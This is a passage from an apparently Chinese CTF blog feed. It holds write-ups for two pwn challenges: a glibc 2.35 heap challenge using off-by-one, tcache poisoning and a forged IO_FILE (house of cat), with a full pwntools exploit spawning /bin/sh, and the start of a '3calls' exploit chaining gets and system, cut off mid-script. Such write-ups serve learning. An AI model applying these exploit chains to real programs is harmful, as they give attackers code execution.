class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> x = time(<span class="number">0</span>);</span><br><span class="line"><span class="comment">//srand((100 * ((long long)((((long long)0xA3D70A3D70A3D70B * (unsigned long long)x) &gt;&gt; 64) + x) &gt;&gt; 6)) ^ 0xDEADBEEF);</span></span><br><span class="line">srand((<span class="number">100</span> * ((<span class="type">__int64_t</span>)((((<span class="type">__int64_t</span>)<span class="number">0xA3D70A3D70A3D70B</span> * (<span class="type">unsigned</span> __int128)x) &gt;&gt; <span class="number">64</span>) + x) &gt;&gt; <span class="number">6</span>)) ^ <span class="number">0xDEADBEEF</span>);</span><br><span class="line"><span class="type">int</span> seed = rand();</span><br><span class="line">srand(seed);</span><br><span class="line"><span class="type">int</span> v2 = rand();</span><br><span class="line"><span class="type">int</span> v3 = rand();</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;test%u\n&quot;</span>, (v2^v3)&gt;&gt;<span class="number">6</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>然后在程序的输入部分存在<code>off-by-one</code>漏洞</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">sub_147A</span><span class="params">(__int64 a1, <span class="type">unsigned</span> __int64 a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; a2 &gt;= (<span class="type">int</span>)i; ++i )              <span class="comment">// off-by-one</span></span><br><span class="line">  &#123;</span><br><span class="line">    read(<span class="number">0</span>, (<span class="type">void</span> *)((<span class="type">int</span>)i + a1), <span class="number">1uLL</span>);</span><br><span class="line">    <span class="keyword">if</span> ( *(_BYTE *)((<span class="type">int</span>)i + a1) == <span class="number">10</span> )</span><br><span class="line">      <span class="keyword">return</span> i;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> i;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>程序只有<code>add()  show()  delete()</code>三个功能，libc版本为2.35，因此考虑堆风水+house of cat</p><p>程序在开始时会让你选择一个key，这个key决定了后面你可以申请多大的堆块，函数逻辑如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_16BE</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Input your key: &quot;</span>);</span><br><span class="line">  key = input(<span class="string">&quot;Input your key: &quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( key )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)key &gt; <span class="number">0x10</span> )</span><br><span class="line">      key = <span class="number">16</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    key = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Your key is %u.&quot;</span>, (<span class="type">unsigned</span> <span class="type">int</span>)key);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在add函数中（最多可以申请12个堆块），有如下逻辑</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">my_write(<span class="string">&quot;******************************&quot;</span>);</span><br><span class="line">my_write(<span class="string">&quot;* 1. Add brief information;  *&quot;</span>);</span><br><span class="line">my_write(<span class="string">&quot;* 2. Add details;            *&quot;</span>);</span><br><span class="line">my_write(<span class="string">&quot;* 3. Add all information.    *&quot;</span>);</span><br><span class="line">my_write(<span class="string">&quot;******************************&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Your choice: &quot;</span>);</span><br><span class="line">v3 = input();</span><br><span class="line"><span class="keyword">if</span> ( v3 == <span class="number">3</span> )</span><br><span class="line">&#123;</span><br><span class="line">  size = (<span class="type">unsigned</span> <span class="type">int</span>)(key &lt;&lt; <span class="number">6</span>);</span><br><span class="line">  chunk = <span class="built_in">malloc</span>(size);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( v3 &gt; <span class="number">3</span> )</span><br><span class="line">    <span class="keyword">return</span> my_write(<span class="string">&quot;Exception Input!&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    size = (<span class="type">unsigned</span> <span class="type">int</span>)(<span class="number">16</span> * key + <span class="number">8</span>);</span><br><span class="line">    chunk = <span class="built_in">malloc</span>(size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">      <span class="keyword">return</span> my_write(<span class="string">&quot;Exception Input!&quot;</span>);</span><br><span class="line">    size = (<span class="type">unsigned</span> <span class="type">int</span>)(<span class="number">16</span> * (key + <span class="number">5</span>));</span><br><span class="line">    chunk = <span class="built_in">malloc</span>(size);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>因此在选择key&gt;0x10时，可add的大小有<code>1:0x108    2:0x150    3:0x400</code>，在key&lt;&#x3D;0x10时，可add的大小有<code>1:0x18   2:0x60   3:0x40</code>，由于是off-by-one漏洞，考虑key&gt;0x10</p><p>然后就是堆风水泄露堆基址和libc基址，堆风水构造<code>tcache poison</code>打<code>house of cat</code></p><blockquote><p><strong>这里详细来看一下如何对该题进行堆风水</strong></p><p>以<strong>泄露堆基址</strong>为例，只需要3个堆块即可，首先申请0x108大小的chunk0, chunk1, chunk2，chunk2的对应位置填充上大小，来绕过之后的size检查，然后删除chunk0，再将chunk0重新add回来并通过off-by-one修改chunk1的size末字节为0x61，然后删除chunk2，删除chunk1，将chunk1拿回来的同时覆盖到要泄露的地址位置，然后直接show(1)就可以了</p><p>为了不破坏堆块结构，可以选择在泄露完成后恢复chunk2的chunk头结构，恢复方式也十分简单，直接删除chunk2再申请回chunk2编辑就可以了</p><p>后续<strong>泄露libc</strong>就仿照这个思路先填充6个0x108的tcache，然后后面可以申请4个chunk，设为chunk0，chunk1，chunk2，chunk3，先不管chunk3，然后把chunk0，chunk1，chunk2按照之前的思路弄一下，chunk3用来填充tcache成7个</p><p><strong>tcache poison</strong>也是这个思路，就是修改fd后再复原下chunk头，然后再申请出来</p></blockquote><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">p = process(<span class="string">&#x27;./test&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;b login&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">key</span>(<span class="params">num</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Input your key: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(num).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;Your choice: &#x27;</span>, <span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, choice, data</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;Enter the index: &#x27;</span>, <span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;Your choice: &#x27;</span>, <span class="built_in">str</span>(choice).encode())</span><br><span class="line">    io.sendafter(<span class="string">b&#x27;Enter the information: &#x27;</span>, data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;Enter the index: &#x27;</span>, <span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.sendlineafter(<span class="string">b&#x27;Enter the index: &#x27;</span>, <span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="comment">#######verify###################################</span></span><br><span class="line">p.recvuntil(<span class="string">b&#x27;test&#x27;</span>)</span><br><span class="line">verify = p.recvline()</span><br><span class="line"><span class="comment">################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Input your name: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+<span class="string">b&#x27;root\x00&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Input your password: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+<span class="string">b&#x27;t00r\x00&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Enter the verification code: &#x27;</span>)</span><br><span class="line">io.send(verify)</span><br><span class="line"></span><br><span class="line">key(<span class="number">17</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#add选项： 1:0x108    2:0x150    3:0x400</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露堆地址</span></span><br><span class="line">add(<span class="number">0</span>, <span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+<span class="string">b&#x27;/bin/sh\x00\n&#x27;</span>)       </span><br><span class="line">add(<span class="number">1</span>, <span class="number">1</span>, <span class="string">b&#x27;A\n&#x27;</span>)</span><br><span class="line">add(<span class="number">2</span>, <span class="number">1</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x40</span>+p64(<span class="number">0</span>)+p64(<span class="number">0xc1</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">add(<span class="number">0</span>, <span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+<span class="string">b&#x27;\x61&#x27;</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10f</span>+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10f</span>+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">heapbase = u64(io.recv(<span class="number">5</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))&lt;&lt;<span class="number">12</span></span><br><span class="line">log.success(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line"></span><br><span class="line"><span class="comment">#复原堆</span></span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x100</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x111</span>)+p64(heapbase&gt;&gt;<span class="number">12</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libc</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">9</span>):</span><br><span class="line">    add(i, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">1</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x40</span>+p64(<span class="number">0</span>)+p64(<span class="number">0xc1</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">10</span>, <span class="number">1</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x40</span>+p64(<span class="number">0</span>)+p64(<span class="number">0xc1</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">10</span>):</span><br><span class="line">    delete(i)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">7</span>, <span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+<span class="string">b&#x27;\x61&#x27;</span>)</span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10f</span>+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">show(<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10f</span>+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x219ce0</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_IO_list_all = libcbase+<span class="number">0x21a680</span></span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libcbase+<span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#tcache poison打到_IO_list_all进行house of cat</span></span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+p64(<span class="number">0x111</span>)+p64(libcbase+<span class="number">0x219ce0</span>)*<span class="number">2</span>+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">6</span>):</span><br><span class="line">    add(i, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">11</span>, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">9</span>, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">delete(<span class="number">7</span>)</span><br><span class="line">delete(<span class="number">9</span>)</span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x108</span>+p64(<span class="number">0x111</span>)+p64((heapbase&gt;&gt;<span class="number">12</span>)^_IO_list_all)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">8</span>)</span><br><span class="line">add(<span class="number">8</span>, <span class="number">1</span>, <span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">add(<span class="number">7</span>, <span class="number">1</span>, p64(heapbase+<span class="number">0xe50</span>)+<span class="string">b&#x27;\n&#x27;</span>)        <span class="comment">#_IO_list_all</span></span><br><span class="line"></span><br><span class="line">rdi = <span class="string">b&#x27;/bin/sh\x00&#x27;</span></span><br><span class="line">call_addr = sys</span><br><span class="line">fake_io_addr=heapbase+<span class="number">0xe50</span> <span class="comment"># 伪造的fake_IO结构体的地址</span></span><br><span class="line">next_chain = <span class="number">0</span></span><br><span class="line">fake_IO_FILE=rdi         <span class="comment">#_flags=rdi</span></span><br><span class="line">fake_IO_FILE+=p64(<span class="number">0</span>)*<span class="number">7</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">1</span>)+p64(<span class="number">2</span>) <span class="comment"># rcx!=0(FSOP)</span></span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0xb0</span>)<span class="comment">#_IO_backup_base=rdx</span></span><br><span class="line">fake_IO_FILE +=p64(call_addr)<span class="comment">#_IO_save_end=call addr(call setcontext/system)</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">0</span>)  <span class="comment"># _chain</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x88</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(heapbase+<span class="number">0x1000</span>)  <span class="comment"># _lock = a writable address</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0x30</span>)<span class="comment">#_wide_data,rax1_addr</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xc0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">1</span>) <span class="comment">#mode=1</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xd8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(libcbase+libc.symbols[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]+<span class="number">0x30</span>)  <span class="comment"># vtable=IO_wfile_jumps+0x10</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x40</span>)  <span class="comment"># rax2_addr</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">1</span>, <span class="number">3</span>, fake_IO_FILE+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">menu(<span class="number">5</span>)</span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>
      <![CDATA[https://staticccccccc.github.io/2024/03/16/CTFS-wp/%E9%99%95%E8%A5%BF%E7%9C%81%E7%9C%81%E8%B5%9B%20wp%20&%20%E5%A4%8D%E7%8E%B0/]]>
    </id>
    <link href="https://staticccccccc.github.io/2024/03/16/CTFS-wp/%E9%99%95%E8%A5%BF%E7%9C%81%E7%9C%81%E8%B5%9B%20wp%20&amp;%20%E5%A4%8D%E7%8E%B0/"/>
    <published>2024-03-16T11:45:00.000Z</published>
    <summary>赛后出题，真有我的</summary>
    <title>
      <![CDATA[陕西省省赛 wp & 复现]]>
    </title>
    <updated>2024-03-16T11:45:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="CTFS" scheme="https://staticccccccc.github.io/categories/CTFS/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="3calls"><a href="#3calls" class="headerlink" title="3calls"></a>3calls</h2><p><code>checksec</code>看到保护全开，程序没有沙箱，也就没必要用描述中说的orw</p><p>IDA打开看到程序直接给出了libc地址，会读取3次，然后check读入的数据，最后依次调用读入的3个函数。check函数会检查libc中是否由地址所对应的函数，也就是不能随意调用某一句，只能调用封装好的整个函数。</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">libc = (__int64)(&amp;<span class="built_in">printf</span> - <span class="number">49390</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;gift: %p\n&quot;</span>, &amp;<span class="built_in">printf</span> - <span class="number">49390</span>);</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">2</span>; ++i )</span><br><span class="line">  read(<span class="number">0</span>, &amp;F[i], <span class="number">8uLL</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;good job!&quot;</span>);</span><br><span class="line"><span class="keyword">for</span> ( j = <span class="number">0</span>; j &lt;= <span class="number">2</span>; ++j )</span><br><span class="line">  F[j]();</span><br></pre></td></tr></table></figure></div><p>这样一来，<code>system</code>函数必不可少。然后就是需要给其传参，显然不能直接传参。调试发现（调试时可以patch掉check函数，因为check函数会产生其他进程，让gdb无法attach到后续逻辑）程序执行<code>F[0]</code>时的rdi为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RDI  0x7ffff7faea70 (_IO_stdfile_1_lock) ◂— 0x0</span><br></pre></td></tr></table></figure></div><p>这个区域是一个可读写的区域，因此可以调用gets函数读取<code>/bin/sh</code>字符串，但是在调用gets的时候出现了一些玄学的问题（我没调试清楚），我第一次需要用一个gets直接读取换行符，第二个gets读取<code>/bin0sh</code>字符串（因为字符0的位置在下一个函数执行时会自动减一，也是没调试清楚），然后第三次就直接<code>system(&quot;/bin/sh&quot;)</code>了</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch = <span class="string">&#x27;x86_64&#x27;</span>, log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;localhost&#x27;,34643)</span></span><br><span class="line">io = process(<span class="string">&#x27;./3calls_2&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">libcbase = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)</span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">io.send(p64(libcbase+libc.symbols[<span class="string">&#x27;gets&#x27;</span>]))</span><br><span class="line">sleep(<span class="number">0.1</span>)</span><br><span class="line">io.send(p64(libcbase+libc.symbols[<span 